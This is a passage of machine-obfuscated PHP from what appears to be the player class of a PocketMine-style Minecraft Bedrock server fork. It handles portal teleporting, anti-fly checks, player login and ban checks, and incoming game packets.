true;}$this->timings->startTiming();if($this->spawned){if($this->server->netherEnabled){if(($this->isCreative()or$this->isSurvival()and$this->server->getTick()-$this->portalTime>=80)and$this->portalTime>0){if($this->server->netherLevel instanceof Level){if($this->getLevel()!=$this->server->netherLevel){$this->fromPos=$this->getPosition();$this->fromPos->x=((int)$this->fromPos->x)+0.5;$this->fromPos->z=((int)$this->fromPos->z)+0.5;$this->teleport($this->shouldResPos=$this->server->netherLevel->getSafeSpawn());}elseif($this->fromPos instanceof Position){$fcmihamf="j";$rcvxowvvd="j";if(!($this->getLevel()->isChunkLoaded($this->fromPos->x,$this->fromPos->z))){$this->getLevel()->loadChunk($this->fromPos->x,$this->fromPos->z);}${"GLOBALS"}["dwpeffpjrpc"]="tempos";$rqvjkrhuqthm="tempos";${${"GLOBALS"}["swmvqygzd"]}=[1,0,-1,0,0,1,0,-1];${"GLOBALS"}["mnczqmyola"]="tempos";$fnhthjg="tempos";${$rqvjkrhuqthm}=null;for(${$rcvxowvvd}=2;${${"GLOBALS"}["woxkgve"]}<5;${$fcmihamf}++){${"GLOBALS"}["euqolwwnjec"]="i";for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["euqolwwnjec"]}<4;${${"GLOBALS"}["oilgiiu"]}++){${"GLOBALS"}["dbzawhd"]="add";${"GLOBALS"}["qjizqrkp"]="j";$fwvxphmwxp="add";${"GLOBALS"}["jpwnrwnemlt"]="j";$leycptilakb="i";if($this->fromPos->getLevel()->getBlock($this->temporalVector->fromObjectAdd($this->fromPos,${${"GLOBALS"}["dbzawhd"]}[${$leycptilakb}]*${${"GLOBALS"}["jpwnrwnemlt"]},0,${$fwvxphmwxp}[${${"GLOBALS"}["oilgiiu"]}+4]*${${"GLOBALS"}["qjizqrkp"]}))->getId()===Block::AIR){${"GLOBALS"}["ddhhrnvqc"]="i";$ylxsqmwbk="add";if($this->fromPos->getLevel()->getBlock($this->temporalVector->fromObjectAdd($this->fromPos,${$ylxsqmwbk}[${${"GLOBALS"}["ddhhrnvqc"]}]*${${"GLOBALS"}["woxkgve"]},1,${${"GLOBALS"}["swmvqygzd"]}[${${"GLOBALS"}["oilgiiu"]}+4]*${${"GLOBALS"}["woxkgve"]}))->getId()===Block::AIR){${"GLOBALS"}["vgqbdglgy"]="i";$cwartvn="j";$vnbyuvgqeao="add";${${"GLOBALS"}["nrkxjt"]}=$this->fromPos->add(${${"GLOBALS"}["swmvqygzd"]}[${${"GLOBALS"}["vgqbdglgy"]}]*${$cwartvn},0,${$vnbyuvgqeao}[${${"GLOBALS"}["oilgiiu"]}+4]*${${"GLOBALS"}["woxkgve"]});break;}}}if(${${"GLOBALS"}["nrkxjt"]}!=null){break;}}if(${${"GLOBALS"}["mnczqmyola"]}==null){${"GLOBALS"}["rfomxrxhhitr"]="tempos";${${"GLOBALS"}["rfomxrxhhitr"]}=$this->fromPos->add(mt_rand(-2,2),0,mt_rand(-2,2));}$this->teleport($this->shouldResPos=${$fnhthjg});${${"GLOBALS"}["swmvqygzd"]}=null;${${"GLOBALS"}["dwpeffpjrpc"]}=null;$this->fromPos=null;}else{$this->teleport($this->shouldResPos=$this->server->getDefaultLevel()->getSafeSpawn());}$this->portalTime=0;}}}if(!$this->isSleeping()){$this->processMovement(${${"GLOBALS"}["klpkqij"]});}$elvrpnccdcj="tickDiff";if(!$this->isSpectator())$this->entityBaseTick(${$elvrpnccdcj});if($this->isOnFire()or$this->lastUpdate%10==0){if($this->isCreative()and!$this->isInsideOfFire()){$this->extinguish();}elseif($this->getLevel()->getWeather()->isRainy()){if($this->getLevel()->canBlockSeeSky($this)){$this->extinguish();}}}if($this->server->antiFly){if(!$this->isSpectator()and$this->speed!==null){if($this->onGround){if($this->inAirTicks!==0){$this->startAirTicks=5;}$this->inAirTicks=0;}else{if(!$this->allowFlight and$this->inAirTicks>10 and!$this->isSleeping()and$this->getDataProperty(self::DATA_NO_AI)!==1){${${"GLOBALS"}["upcbeljlenhu"]}=(-$this->gravity)/$this->drag-((-$this->gravity)/$this->drag)*exp(-$this->drag*($this->inAirTicks-$this->startAirTicks));${${"GLOBALS"}["bwaqorjihg"]}=($this->speed->y-${${"GLOBALS"}["upcbeljlenhu"]})**2;if(!$this->hasEffect(Effect::JUMP)and${${"GLOBALS"}["bwaqorjihg"]}>0.6 and${${"GLOBALS"}["upcbeljlenhu"]}<$this->speed->y and!$this->server->getAllowFlight()){$this->setMotion($this->temporalVector->setComponents(0,${${"GLOBALS"}["upcbeljlenhu"]},0));}}++$this->inAirTicks;}}}if($this->getTransactionQueue()!==null){$this->getTransactionQueue()->execute();}}$this->checkTeleportPosition();$this->timings->stopTiming();return true;}public function checkNetwork(){if(!$this->isOnline()){return;}if($this->nextChunkOrderRun--<=0 or$this->chunk===null){$this->orderChunks();}if(count($this->loadQueue)>0 or!$this->spawned){$this->sendNextChunk();}if(count($this->batchedPackets)>0){$this->server->batchPackets([$this],$this->batchedPackets,false);$this->batchedPackets=[];}}public function canInteract(Vector3$pos,$maxDistance,$maxDiff=0.5){${${"GLOBALS"}["wswpvg"]}=$this->getPosition()->add(0,$this->getEyeHeight(),0);${"GLOBALS"}["nrnuqph"]="dV";${"GLOBALS"}["yyxnonyem"]="dot1";if($eyePos->distanceSquared(${${"GLOBALS"}["wxoehmqbtg"]})>${${"GLOBALS"}["qzwrrkc"]}**2){return false;}${${"GLOBALS"}["nrnuqph"]}=$this->getDirectionPlane();${${"GLOBALS"}["fhbmvwvi"]}=$dV->dot(new Vector2($eyePos->x,$eyePos->z));${${"GLOBALS"}["yyxnonyem"]}=$dV->dot(new Vector2($pos->x,$pos->z));${"GLOBALS"}["twyfwrnjst"]="maxDiff";$revhiony="dot";return(${${"GLOBALS"}["vcjiseb"]}-${$revhiony})>=-${${"GLOBALS"}["twyfwrnjst"]};}public function onPlayerPreLogin(){${"GLOBALS"}["nyijwncwbq"]="pk";${${"GLOBALS"}["ozzywsrssq"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$this->dataPacket(${${"GLOBALS"}["nyijwncwbq"]});$this->processLogin();}public function clearCreativeItems(){$this->personalCreativeItems=[];}public function getCreativeItems():array{return$this->personalCreativeItems;}public function addCreativeItem(Item$item){$this->personalCreativeItems[]=Item::get($item->getId(),$item->getDamage());}public function removeCreativeItem(Item$item){${"GLOBALS"}["auuugqx"]="index";$vmwtxfwfapg="item";$pnpfukgavj="index";${${"GLOBALS"}["auuugqx"]}=$this->getCreativeItemIndex(${$vmwtxfwfapg});if(${$pnpfukgavj}!==-1){unset($this->personalCreativeItems[${${"GLOBALS"}["uspqxtmors"]}]);}}public function getCreativeItemIndex(Item$item):int{foreach($this->personalCreativeItems as${${"GLOBALS"}["oilgiiu"]}=>${${"GLOBALS"}["vjqqcpbch"]}){${"GLOBALS"}["nocolgpxqtil"]="d";if($item->equals(${${"GLOBALS"}["nocolgpxqtil"]},!$item->isTool())){return${${"GLOBALS"}["oilgiiu"]};}}return-1;}protected function processLogin(){$cklvuzapmeo="pk";$kolbtfwzgb="nbt";${"GLOBALS"}["hiydbmxfq"]="p";$toxzikphrxm="nbt";$gumeowec="nbt";if(!$this->server->isWhitelisted(strtolower($this->getName()))){$this->close($this->getLeaveMessage(),"Server is white-listed");return;}elseif($this->server->getNameBans()->isBanned(strtolower($this->getName()))or$this->server->getIPBans()->isBanned($this->getAddress())or$this->server->getCIDBans()->isBanned($this->randomClientId)){$this->close($this->getLeaveMessage(),TextFormat::RED."You are banned");return;}${"GLOBALS"}["oimmmplgxcyf"]="pk";if($this->hasPermission(Server::BROADCAST_CHANNEL_USERS)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_USERS,$this);}if($this->hasPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE)){$this->server->getPluginManager()->subscribeToPermission(Server::BROADCAST_CHANNEL_ADMINISTRATIVE,$this);}foreach($this->server->getOnlinePlayers()as${${"GLOBALS"}["hiydbmxfq"]}){${"GLOBALS"}["lwwpnnx"]="p";if(${${"GLOBALS"}["lwwpnnx"]}!==$this and strtolower($p->getName())===strtolower($this->getName())){if($p->kick("logged in from another location")===false){$this->close($this->getLeaveMessage(),"Logged in from another location");return;}}elseif($p->loggedIn and$this->getUniqueId()->equals($p->getUniqueId())){if($p->kick("logged in from another location")===false){$this->close($this->getLeaveMessage(),"Logged in from another location");return;}}}$hlgvun="nbt";$this->setNameTag($this->getDisplayName());${"GLOBALS"}["seyucmkxrb"]="pk";${"GLOBALS"}["yeoibucs"]="nbt";${$toxzikphrxm}=$this->server->getOfflinePlayerData($this->username);$this->playedBefore=(${${"GLOBALS"}["yeoibucs"]}["lastPlayed"]-${${"GLOBALS"}["snbhmgypsq"]}["firstPlayed"])>1;if(!isset($nbt->NameTag)){$nbt->NameTag=new StringTag("NameTag",$this->username);}else{$rpjswwjl="nbt";${$rpjswwjl}["NameTag"]=$this->username;}if(!isset($nbt->Hunger)or!isset($nbt->Health)or!isset($nbt->MaxHealth)){$nbt->Hunger=new ShortTag("Hunger",20);$nbt->Health=new ShortTag("Health",20);$nbt->MaxHealth=new ShortTag("MaxHealth",20);}${"GLOBALS"}["ogrbksxqmg"]="spawnPosition";$this->food=${${"GLOBALS"}["snbhmgypsq"]}["Hunger"];$this->setMaxHealth(${$gumeowec}["MaxHealth"]);Entity::setHealth((${${"GLOBALS"}["snbhmgypsq"]}["Health"]<=0)?20:${${"GLOBALS"}["snbhmgypsq"]}["Health"]);${"GLOBALS"}["wgxetkmk"]="pk";$this->gamemode=${$kolbtfwzgb}["playerGameType"]&0x03;if($this->server->getForceGamemode()){$this->gamemode=$this->server->getGamemode();$nbt->playerGameType=new IntTag("playerGameType",$this->gamemode);}$this->allowFlight=$this->isCreative();$kmbqnxvh="pk";if((${${"GLOBALS"}["mqgpqffss"]}=$this->server->getLevelByName(${$hlgvun}["Level"]))===null){$this->setLevel($this->server->getDefaultLevel());${"GLOBALS"}["pqbedqigw"]="nbt";${${"GLOBALS"}["snbhmgypsq"]}["Level"]=$this->level->getName();${${"GLOBALS"}["pqbedqigw"]}["Pos"][0]=$this->level->getSpawnLocation()->x;${${"GLOBALS"}["snbhmgypsq"]}["Pos"][1]=$this->level->getSpawnLocation()->y;${${"GLOBALS"}["snbhmgypsq"]}["Pos"][2]=$this->level->getSpawnLocation()->z;}else{${"GLOBALS"}["ovsspbc"]="level";$this->setLevel(${${"GLOBALS"}["ovsspbc"]});}if(!(${${"GLOBALS"}["snbhmgypsq"]} instanceof CompoundTag)){$this->close($this->getLeaveMessage(),"Invalid data");return;}$nbt->lastPlayed=new LongTag("lastPlayed",floor(microtime(true)*1000));if($this->server->getAutoSave()){$iskcguj="nbt";$this->server->saveOfflinePlayerData($this->username,${$iskcguj},true);}parent::__construct($this->level->getChunk(${${"GLOBALS"}["snbhmgypsq"]}["Pos"][0]>>4,${${"GLOBALS"}["snbhmgypsq"]}["Pos"][2]>>4,true),${${"GLOBALS"}["snbhmgypsq"]});$this->loggedIn=true;$this->server->addOnlinePlayer($this);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerLoginEvent($this,"Plugin reason"));if($ev->isCancelled()){$this->close($this->getLeaveMessage(),$ev->getKickMessage());return;}if(!$this->isConnected()){return;}${${"GLOBALS"}["oimmmplgxcyf"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$ecmueob="level";$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});if($this->spawnPosition===null and isset($this->namedtag->SpawnLevel)and(${$ecmueob}=$this->server->getLevelByName($this->namedtag["SpawnLevel"]))instanceof Level){${"GLOBALS"}["vghjfnqi"]="level";$this->spawnPosition=new Position($this->namedtag["SpawnX"],$this->namedtag["SpawnY"],$this->namedtag["SpawnZ"],${${"GLOBALS"}["vghjfnqi"]});}${${"GLOBALS"}["ogrbksxqmg"]}=$this->getSpawn();$tiqrwzd="pk";${${"GLOBALS"}["wgxetkmk"]}=new StartGamePacket();$pk->seed=-1;$pk->dimension=$this->level->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$pk->spawnX=(int)$spawnPosition->x;$pk->spawnY=(int)$spawnPosition->y;$pk->spawnZ=(int)$spawnPosition->z;$pk->generator=1;$pk->gamemode=$this->gamemode&0x01;$pk->eid=0;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});${$kmbqnxvh}=new SetTimePacket();$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$swsbjwk="pk";$this->dataPacket(${${"GLOBALS"}["seyucmkxrb"]});${${"GLOBALS"}["ozzywsrssq"]}=new SetSpawnPositionPacket();$pk->x=(int)$spawnPosition->x;$pk->y=(int)$spawnPosition->y;$pk->z=(int)$spawnPosition->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});${${"GLOBALS"}["ozzywsrssq"]}=new SetHealthPacket();$pk->health=$this->getHealth();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});${$tiqrwzd}=new SetDifficultyPacket();$pk->difficulty=$this->server->getDifficulty();$this->dataPacket(${$swsbjwk});$this->server->getLogger()->info($this->getServer()->getLanguage()->translateString("pocketmine.player.logIn",[TextFormat::AQUA.$this->username.TextFormat::WHITE,$this->ip,$this->port,TextFormat::GREEN.$this->randomClientId.TextFormat::WHITE,$this->id,$this->level->getName(),round($this->x,4),round($this->y,4),round($this->z,4)]));if($this->gamemode===Player::SPECTATOR){${"GLOBALS"}["wzehgty"]="pk";$vpnixwsjtl="pk";${${"GLOBALS"}["wzehgty"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$this->dataPacket(${$vpnixwsjtl});}else{if(AnyVersionManager::isProtocol($this,"0.15")){$hymkvcofyfae="pk";${$hymkvcofyfae}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getCreativeItems(),$this->personalCreativeItems);$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getp70CreativeItems(),$this->personalCreativeItems);$oraorwkoflx="pk";$this->dataPacket(${$oraorwkoflx});}}${$cklvuzapmeo}=new SetEntityDataPacket();$pk->eid=0;$pk->metadata=[self::DATA_LEAD_HOLDER=>[self::DATA_TYPE_LONG,-1]];$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});$this->level->getWeather()->sendWeather($this);$this->forceMovement=$this->teleportPosition=$this->getPosition();}public function getProtocol(){return$this->protocol;}public function getGameVersion(){return AnyVersionManager::getGameVersion($this->getProtocol());}public function handleDataPacket($packet){${"GLOBALS"}["uppngkclgk"]="len";${"GLOBALS"}["ijwnxne"]="t";${"GLOBALS"}["bknftipfwnib"]="pos";${"GLOBALS"}["bejsrlqhm"]="recipe";$tjzipochb="cancelled";$imafxpeiei="i";${"GLOBALS"}["hxfzyeuz"]="ev";${"GLOBALS"}["wplnijtgzp"]="canCraft";$wtlhdcawpf="target";$uqxllpn="pk";${"GLOBALS"}["hqevcwsoe"]="item";${"GLOBALS"}["uzmetws"]="ev";$vnqhrtyqydjw="tile";${"GLOBALS"}["ltnyzb"]="item";$ummfcmtv="ev";$djotchztuut="target";$ucouux="revert";$dqiuowfjyc="pos";$cccbkdgeo="valid";${"GLOBALS"}["vduaajkxx"]="target";$nvtordd="tile";${"GLOBALS"}["ofohwbrpvdg"]="pk";$cnldvlmn="pk";$blwrux="target";$gfrbtwj="pk";$jcsfmncn="recipe";${"GLOBALS"}["udlqartytc"]="packet";$eeugcx="oldItem";if($this->connected===false){return;}$oxgwsxi="tile";if(${${"GLOBALS"}["qebrriohj"]}::NETWORK_ID===ProtocolInfo::BATCH_PACKET or${${"GLOBALS"}["udlqartytc"]}::NETWORK_ID===0x92){$lgxyfpzbwj="packet";$this->server->getNetwork()->processBatch(${$lgxyfpzbwj},$this);return;}$this->server->getPluginManager()->callEvent(${$ummfcmtv}=new DataPacketReceiveEvent($this,${${"GLOBALS"}["qebrriohj"]}));$nyqacpmj="ev";$rstgntlxfvv="valid";$dxbfmxeko="newPos";${"GLOBALS"}["uymlfoylz"]="slot";$owcvkqe="vector";${"GLOBALS"}["xlpqskyeb"]="pos";$tskrbeobe="ev";$jlitpscowkq="item";${"GLOBALS"}["gpanfgegfsvs"]="i";${"GLOBALS"}["umogdqn"]="vector";if($ev->isCancelled()){return;}switch(${${"GLOBALS"}["qebrriohj"]}::NETWORK_ID){case ProtocolInfo::ITEM_FRAME_DROP_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::ITEM_FRAME_DROP_ITEM_PACKET:${$nvtordd}=$this->level->getTile($this->temporalVector->setComponents($packet->x,$packet->y,$packet->z));if(${${"GLOBALS"}["oronttejy"]} instanceof ItemFrame){${"GLOBALS"}["nbnkjfxkhuiq"]="tile";${"GLOBALS"}["isnfwm"]="block";${${"GLOBALS"}["isnfwm"]}=$this->level->getBlock(${${"GLOBALS"}["nbnkjfxkhuiq"]});$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new BlockBreakEvent($this,${${"GLOBALS"}["raioovemq"]},$this->getInventory()->getItemInHand(),true));if(!$ev->isCancelled()){${${"GLOBALS"}["fohexunnbe"]}=$tile->getItem();$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new ItemFrameDropItemEvent($this,${${"GLOBALS"}["raioovemq"]},${${"GLOBALS"}["oronttejy"]},${${"GLOBALS"}["fohexunnbe"]}));if(!$ev->isCancelled()){if($item->getId()!==Item::AIR){if((mt_rand(0,10)/10)<$tile->getItemDropChance()){$kiexwyiom="item";$this->level->dropItem(${${"GLOBALS"}["oronttejy"]},${$kiexwyiom});}$tile->setItem(Item::get(Item::AIR));$tile->setItemRotation(0);}}else$tile->spawnTo($this);}else$tile->spawnTo($this);}break;case ProtocolInfo::REQUEST_CHUNK_RADIUS_PACKET:case\pocketmine\network\protocol\p70\Info::REQUEST_CHUNK_RADIUS_PACKET:${$gfrbtwj}=new ChunkRadiusUpdatedPacket();$pk->radius=($this->server->chunkRadius!=-1)?$this->server->chunkRadius:$packet->radius;$this->dataPacket(${${"GLOBALS"}["ofohwbrpvdg"]});break;case ProtocolInfo::PLAYER_INPUT_PACKET:case\pocketmine\network\protocol\p70\Info::PLAYER_INPUT_PACKET:break;case ProtocolInfo::LOGIN_PACKET:case\pocketmine\network\protocol\p70\Info::LOGIN_PACKET:if($this->loggedIn){break;}${$uqxllpn}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_SUCCESS;$this->dataPacket(${$cnldvlmn});$this->username=TextFormat::clean($packet->username);$this->displayName=$this->username;$this->setNameTag($this->username);$this->iusername=strtolower($this->username);$this->protocol=$packet->protocol;if($this->server->getConfigBoolean("online-mode",false)&&$packet->identityPublicKey===null){$this->kick("disconnectionScreen.notAuthenticated",false);break;}if(count($this->server->getOnlinePlayers())>=$this->server->getMaxPlayers()and$this->kick("disconnectionScreen.serverFull",false)){break;}if(!in_array($packet->protocol,AnyVersionManager::getAcceptedProtocols())){${${"GLOBALS"}["ozzywsrssq"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::LOGIN_FAILED_SERVER;$this->directDataPacket(${${"GLOBALS"}["ozzywsrssq"]});$this->close("","This server does not support your client",\false);break;}$this->randomClientId=$packet->clientId;if(AnyVersionManager::isProtocol($this,"0.15")){$this->uuid=UUID::fromString($packet->clientUUID);}else if(AnyVersionManager::isProtocol($this,"0.14")){$this->loginData=["clientId"=>$packet->clientId,"loginData"=>null];$this->uuid=$packet->clientUUID;$this->clientSecret=$packet->clientSecret;}$this->rawUUID=$this->uuid->toBinary();${$rstgntlxfvv}=true;${${"GLOBALS"}["svpvqyhf"]}=strlen($packet->username);if(${${"GLOBALS"}["uppngkclgk"]}>16 or${${"GLOBALS"}["svpvqyhf"]}<3){${${"GLOBALS"}["fpvodvxg"]}=false;}for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["gpanfgegfsvs"]}<${${"GLOBALS"}["svpvqyhf"]} and${$cccbkdgeo};++${${"GLOBALS"}["oilgiiu"]}){${"GLOBALS"}["qnlxtsqovsgr"]="i";${"GLOBALS"}["jojhyguhl"]="c";$nikmtl="c";${"GLOBALS"}["upyppqihm"]="c";$khbyoq="valid";${${"GLOBALS"}["jojhyguhl"]}=ord($packet->username{${${"GLOBALS"}["qnlxtsqovsgr"]}});if((${${"GLOBALS"}["kezzbew"]}>=ord("a")and${$nikmtl}<=ord("z"))or(${${"GLOBALS"}["kezzbew"]}>=ord("A")and${${"GLOBALS"}["kezzbew"]}<=ord("Z"))or(${${"GLOBALS"}["kezzbew"]}>=ord("0")and${${"GLOBALS"}["upyppqihm"]}<=ord("9"))or${${"GLOBALS"}["kezzbew"]}===ord("_")){continue;}${$khbyoq}=false;break;}if(!${${"GLOBALS"}["fpvodvxg"]} or$this->iusername==="rcon"or$this->iusername==="console"){$this->close("","disconnectionScreen.invalidName");break;}if((strlen($packet->skin)!=64*64*4)and(strlen($packet->skin)!=64*32*4)){$this->close("","disconnectionScreen.invalidSkin");break;}if($packet->protocol==84){$this->setSkin($packet->skin,$packet->skinId);}else{$this->setSkin($packet->skin,$packet->skinName);}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerPreLoginEvent($this,"Plugin reason"));if($ev->isCancelled()){$this->close("",$ev->getKickMessage());break;}if($this->isConnected()){$this->onPlayerPreLogin();}break;case ProtocolInfo::MOVE_PLAYER_PACKET:case\pocketmine\network\protocol\p70\Info::MOVE_PLAYER_PACKET;if($this->linkedEntity instanceof Entity){${"GLOBALS"}["xqgqfwqf"]="entity";${${"GLOBALS"}["xqgqfwqf"]}=$this->linkedEntity;if(${${"GLOBALS"}["yiewjbrtorvu"]} instanceof Boat){$entity->setPosition($this->temporalVector->setComponents($packet->x,$packet->y-0.3,$packet->z));}}${$dxbfmxeko}=new Vector3($packet->x,$packet->y-$this->getEyeHeight(),$packet->z);${${"GLOBALS"}["rtkvnyyhk"]}=false;if(!$this->isAlive()or$this->spawned!==true){$cpktzvky="revert";${$cpktzvky}=true;$this->forceMovement=new Vector3($this->x,$this->y,$this->z);}if($this->teleportPosition!==null or($this->forceMovement instanceof Vector3 and((${${"GLOBALS"}["ohyhznni"]}=$newPos->distanceSquared($this->forceMovement))>0.1 or${$ucouux}))){if($this->forceMovement instanceof Vector3)$this->sendPosition($this->forceMovement,$packet->yaw,$packet->pitch);}else{${"GLOBALS"}["zestkvbi"]="newPos";$packet->yaw%=360;$packet->pitch%=360;if($packet->yaw<0){$packet->yaw+=360;}$this->setRotation($packet->yaw,$packet->pitch);$this->newPosition=${${"GLOBALS"}["zestkvbi"]};}$this->forceMovement=null;break;case ProtocolInfo::MOB_EQUIPMENT_PACKET:case\pocketmine\network\protocol\p70\Info::MOB_EQUIPMENT_PACKET:if($this->spawned===false or!$this->isAlive()){break;}if(AnyVersionManager::isProtocol($this,"0.15")){$this->inventory->setHeldItemIndex($packet->selectedSlot,false,$packet->slot);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);}else if(AnyVersionManager::isProtocol($this,"0.14")){if($packet->slot===0x28 or$packet->slot===0 or$packet->slot===255){$packet->slot=-1;}else{$packet->slot-=9;}${${"GLOBALS"}["fohexunnbe"]}=\null;if($this->isCreative()){$avmyyucumnf="item";${"GLOBALS"}["vispzoxm"]="slot";${$avmyyucumnf}=$packet->item;${${"GLOBALS"}["vispzoxm"]}=Item::getCreativeItemIndex(${${"GLOBALS"}["fohexunnbe"]});}else{${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItem($packet->slot);${${"GLOBALS"}["dfgxmweyoham"]}=$packet->slot;}if($packet->slot===-1){if($this->isCreative()){$hlyavfhdnai="found";${$hlyavfhdnai}=\false;${"GLOBALS"}["cfnqeejm"]="i";for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["cfnqeejm"]}<$this->inventory->getHotbarSize();++${${"GLOBALS"}["oilgiiu"]}){${"GLOBALS"}["cvrswqvtq"]="i";if($this->inventory->getHotbarSlotIndex(${${"GLOBALS"}["cvrswqvtq"]})===-1){$jdwongefog="i";$this->inventory->setHeldItemIndex(${$jdwongefog});${${"GLOBALS"}["kdwdeptg"]}=\true;break;}}if(!${${"GLOBALS"}["kdwdeptg"]}){$this->inventory->sendContents($this);break;}}else{if($packet->selectedSlot>=0 and$packet->selectedSlot<9){$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setHeldItemSlot($packet->slot);}else{$this->inventory->sendContents($this);break;}}}elseif(${${"GLOBALS"}["fohexunnbe"]}===\null or${${"GLOBALS"}["dfgxmweyoham"]}===-1 or!$item->deepEquals($packet->item)){$this->inventory->sendContents($this);break;}elseif($this->isCreative()){$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setItem($packet->selectedSlot,${${"GLOBALS"}["fohexunnbe"]});$this->inventory->setHeldItemSlot($packet->selectedSlot);}else{if($packet->selectedSlot>=0 and$packet->selectedSlot<$this->inventory->getHotbarSize()){${"GLOBALS"}["ctiisqem"]="slot";$this->inventory->setHeldItemIndex($packet->selectedSlot);$this->inventory->setHeldItemSlot(${${"GLOBALS"}["ctiisqem"]});}else{$this->inventory->sendContents($this);break;}}$this->inventory->sendHeldItem($this->hasSpawned);$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,\false);}break;case ProtocolInfo::USE_ITEM_PACKET:case\pocketmine\network\protocol\p70\Info::USE_ITEM_PACKET:if($this->spawned===false or!$this->isAlive()or$this->blocked){break;}${${"GLOBALS"}["pezmjbzb"]}=new Vector3($packet->x,$packet->y,$packet->z);$this->craftingType=self::CRAFTING_SMALL;if($packet->face>=0 and$packet->face<=5){$oyypqmykxwh="blockVector";$qoexxydr="target";${"GLOBALS"}["mwfkbqtej"]="block";$this->setDataFlag(self::DATA_FLAGS,self::DATA_FLAG_ACTION,false);if(!$this->canInteract($blockVector->add(0.5,0.5,0.5),13)or$this->isSpectator()){}elseif($this->isCreative()){$gsewhbw="blockVector";$zflxqecolts="item";${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();if($this->level->useItemOn(${$gsewhbw},${$zflxqecolts},$packet->face,$packet->fx,$packet->fy,$packet->fz,$this)===true){break;}}elseif(!$this->inventory->getItemInHand()->deepEquals($packet->item)and$this->getProtocol()==84){$this->inventory->sendHeldItem($this);}elseif(!$this->inventory->getItemInHand()->deepEquals($this->inventory->getItemInHand())and AnyVersionManager::isProtocol($this,"0.14")){$this->inventory->sendHeldItem($this);}else{${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();${"GLOBALS"}["xelstlq"]="blockVector";$frxgbojs="oldItem";${$frxgbojs}=clone${${"GLOBALS"}["fohexunnbe"]};if($this->level->useItemOn(${${"GLOBALS"}["xelstlq"]},${${"GLOBALS"}["fohexunnbe"]},$packet->face,$packet->fx,$packet->fy,$packet->fz,$this)){$dcuonzejpwd="oldItem";if(!$item->deepEquals(${$dcuonzejpwd})or$item->getCount()!==$oldItem->getCount()){$qhqragjx="item";$this->inventory->setItemInHand(${$qhqragjx});$this->inventory->sendHeldItem($this->hasSpawned);}break;}}$this->inventory->sendHeldItem($this);if($blockVector->distanceSquared($this)>10000){break;}${${"GLOBALS"}["hxxizz"]}=$this->level->getBlock(${$oyypqmykxwh});${${"GLOBALS"}["mwfkbqtej"]}=$target->getSide($packet->face);$this->level->sendBlocks([$this],[${$qoexxydr},${${"GLOBALS"}["raioovemq"]}],UpdateBlockPacket::FLAG_ALL_PRIORITY);break;}elseif($packet->face===0xff){if($this->isSpectator()){break;}${${"GLOBALS"}["lolkqcukqy"]}=(new Vector3($packet->x/32768,$packet->y/32768,$packet->z/32768))->normalize();${"GLOBALS"}["khztyrsxvo"]="ev";if($this->isCreative()){${${"GLOBALS"}["fohexunnbe"]}=$this->inventory->getItemInHand();}else{$mhrgpznwjqd="item";${$mhrgpznwjqd}=$this->inventory->getItemInHand();}${${"GLOBALS"}["qcfzvl"]}=new PlayerInteractEvent($this,${${"GLOBALS"}["fohexunnbe"]},${${"GLOBALS"}["lolkqcukqy"]},$packet->face,PlayerInteractEvent::RIGHT_CLICK_AIR);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["khztyrsxvo"]});if($ev->isCancelled()){$this->inventory->sendHeldItem($this);break;}if($item->getId()===Item::FISHING_ROD){if($this->isFishing()){$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerUseFishingRodEvent($this,PlayerUseFishingRodEvent::ACTION_STOP_FISHING));}else{$igxkmyihz="ev";$this->server->getPluginManager()->callEvent(${$igxkmyihz}=new PlayerUseFishingRodEvent($this,PlayerUseFishingRodEvent::ACTION_START_FISHING));}if(!$ev->isCancelled()){if($this->isFishing()){$this->setFishingHook();}else{${${"GLOBALS"}["snbhmgypsq"]}=new CompoundTag("",["Pos"=>new ListTag("Pos",[new DoubleTag("",$this->x),new DoubleTag("",$this->y+$this->getEyeHeight()),new DoubleTag("",$this->z)]),"Motion"=>new ListTag("Motion",[new DoubleTag("",-sin($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI)),new DoubleTag("",-sin($this->pitch/180*M_PI)),new DoubleTag("",cos($this->yaw/180*M_PI)*cos($this->pitch/180*M_PI))]),"Rotation"=>new ListTag("Rotation",[new 